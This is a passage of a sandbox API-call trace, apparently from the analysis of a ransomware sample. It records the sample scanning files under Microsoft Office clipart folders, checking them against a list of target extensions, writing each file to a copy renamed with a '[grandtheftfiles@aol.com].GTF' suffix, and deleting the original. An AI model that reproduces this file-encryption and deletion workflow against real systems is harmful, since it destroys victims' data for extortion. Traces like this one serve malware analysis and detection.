	[0158.055] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.055] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.055] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.055] CloseHandle (hObject=0x4b4) returned 1
	[0158.055] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.055] SetEndOfFile (hFile=0x4c0) returned 1
	[0158.058] CloseHandle (hObject=0x4c0) returned 1
	[0158.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0158.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.060] lstrlenW (lpString=".doc") returned 4
	[0158.060] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.060] lstrlenW (lpString=".docx") returned 5
	[0158.060] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0158.060] lstrlenW (lpString=".pdf") returned 4
	[0158.060] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.060] lstrlenW (lpString=".xls") returned 4
	[0158.060] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.060] lstrlenW (lpString=".xlsx") returned 5
	[0158.060] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0158.060] lstrlenW (lpString=".ppt") returned 4
	[0158.060] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.060] lstrlenW (lpString=".zip") returned 4
	[0158.060] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.060] lstrlenW (lpString=".rar") returned 4
	[0158.060] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.060] lstrlenW (lpString=".bz2") returned 4
	[0158.060] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.060] lstrlenW (lpString=".7z") returned 3
	[0158.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.060] lstrlenW (lpString=".dbf") returned 4
	[0158.060] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.060] lstrlenW (lpString=".1cd") returned 4
	[0158.060] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.060] lstrlenW (lpString=".jpg") returned 4
	[0158.060] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.061] lstrlenW (lpString=".doc") returned 4
	[0158.061] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0158.061] lstrlenW (lpString=".docx") returned 5
	[0158.061] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0158.061] lstrlenW (lpString=".pdf") returned 4
	[0158.061] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0158.061] lstrlenW (lpString=".xls") returned 4
	[0158.061] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0158.061] lstrlenW (lpString=".xlsx") returned 5
	[0158.061] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0158.061] lstrlenW (lpString=".ppt") returned 4
	[0158.061] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.061] lstrlenW (lpString=".zip") returned 4
	[0158.061] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0158.061] lstrlenW (lpString=".rar") returned 4
	[0158.061] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0158.061] lstrlenW (lpString=".bz2") returned 4
	[0158.061] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0158.061] lstrlenW (lpString=".7z") returned 3
	[0158.061] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.061] lstrlenW (lpString=".dbf") returned 4
	[0158.061] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.061] lstrlenW (lpString=".1cd") returned 4
	[0158.061] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0158.061] lstrlenW (lpString=".jpg") returned 4
	[0158.061] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0158.061] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.062] lstrlenW (lpString="J0099178.WMF") returned 12
	[0158.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.062] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=3606) returned 1
	[0158.062] CloseHandle (hObject=0x4c0) returned 1
	[0158.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220
	[0158.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.063] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.063] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.063] GetLastError () returned 0x0
	[0158.063] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xe16, lpOverlapped=0x0) returned 1
	[0158.068] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xe20, lpOverlapped=0x0) returned 1
	[0158.069] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.069] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.069] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.069] CloseHandle (hObject=0x4b4) returned 1
	[0158.069] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.069] SetEndOfFile (hFile=0x4c0) returned 1
	[0158.072] CloseHandle (hObject=0x4c0) returned 1
	[0158.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0158.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.073] lstrlenW (lpString=".doc") returned 4
	[0158.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.073] lstrlenW (lpString=".docx") returned 5
	[0158.073] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0158.073] lstrlenW (lpString=".pdf") returned 4
	[0158.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.073] lstrlenW (lpString=".xls") returned 4
	[0158.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.073] lstrlenW (lpString=".xlsx") returned 5
	[0158.073] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0158.073] lstrlenW (lpString=".ppt") returned 4
	[0158.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.073] lstrlenW (lpString=".zip") returned 4
	[0158.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.073] lstrlenW (lpString=".rar") returned 4
	[0158.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.073] lstrlenW (lpString=".bz2") returned 4
	[0158.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.073] lstrlenW (lpString=".7z") returned 3
	[0158.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.073] lstrlenW (lpString=".dbf") returned 4
	[0158.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.073] lstrlenW (lpString=".1cd") returned 4
	[0158.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString=".jpg") returned 4
	[0158.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString=".doc") returned 4
	[0158.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString=".docx") returned 5
	[0158.074] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0158.074] lstrlenW (lpString=".pdf") returned 4
	[0158.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString=".xls") returned 4
	[0158.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.074] lstrlenW (lpString=".xlsx") returned 5
	[0158.074] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0158.074] lstrlenW (lpString=".ppt") returned 4
	[0158.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString=".zip") returned 4
	[0158.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.074] lstrlenW (lpString=".rar") returned 4
	[0158.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString=".bz2") returned 4
	[0158.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString=".7z") returned 3
	[0158.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString=".dbf") returned 4
	[0158.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString=".1cd") returned 4
	[0158.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0158.074] lstrlenW (lpString=".jpg") returned 4
	[0158.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.075] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.075] lstrlenW (lpString="J0099179.WMF") returned 12
	[0158.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.076] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=9154) returned 1
	[0158.076] CloseHandle (hObject=0x4c0) returned 1
	[0158.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220
	[0158.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.076] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.076] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.077] GetLastError () returned 0x0
	[0158.077] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x23c2, lpOverlapped=0x0) returned 1
	[0158.082] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x23d0, lpOverlapped=0x0) returned 1
	[0158.083] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.083] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.084] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.084] CloseHandle (hObject=0x4b4) returned 1
	[0158.084] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.084] SetEndOfFile (hFile=0x4c0) returned 1
	[0158.365] CloseHandle (hObject=0x4c0) returned 1
	[0158.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0159.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.035] lstrlenW (lpString=".doc") returned 4
	[0159.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0159.035] lstrlenW (lpString=".docx") returned 5
	[0159.035] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0159.035] lstrlenW (lpString=".pdf") returned 4
	[0159.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0159.035] lstrlenW (lpString=".xls") returned 4
	[0159.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0159.036] lstrlenW (lpString=".xlsx") returned 5
	[0159.036] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0159.036] lstrlenW (lpString=".ppt") returned 4
	[0159.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0159.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.036] lstrlenW (lpString=".zip") returned 4
	[0159.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0159.036] lstrlenW (lpString=".rar") returned 4
	[0159.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0159.036] lstrlenW (lpString=".bz2") returned 4
	[0159.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0159.036] lstrlenW (lpString=".7z") returned 3
	[0159.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0159.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.036] lstrlenW (lpString=".dbf") returned 4
	[0159.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0159.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.036] lstrlenW (lpString=".1cd") returned 4
	[0159.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0159.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.036] lstrlenW (lpString=".jpg") returned 4
	[0159.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.037] lstrlenW (lpString=".doc") returned 4
	[0159.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString=".docx") returned 5
	[0159.037] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0159.037] lstrlenW (lpString=".pdf") returned 4
	[0159.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString=".xls") returned 4
	[0159.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0159.037] lstrlenW (lpString=".xlsx") returned 5
	[0159.037] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0159.037] lstrlenW (lpString=".ppt") returned 4
	[0159.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.037] lstrlenW (lpString=".zip") returned 4
	[0159.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0159.037] lstrlenW (lpString=".rar") returned 4
	[0159.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString=".bz2") returned 4
	[0159.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString=".7z") returned 3
	[0159.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0159.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.037] lstrlenW (lpString=".dbf") returned 4
	[0159.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.037] lstrlenW (lpString=".1cd") returned 4
	[0159.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0159.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0159.037] lstrlenW (lpString=".jpg") returned 4
	[0159.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0159.037] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0159.038] lstrlenW (lpString="J0099191.JPG") returned 12
	[0159.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0159.194] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=62367) returned 1
	[0159.195] CloseHandle (hObject=0x4ac) returned 1
	[0159.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220
	[0159.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0159.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0161.164] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.164] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0161.168] GetLastError () returned 0x0
	[0161.168] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xf39f, lpOverlapped=0x0) returned 1
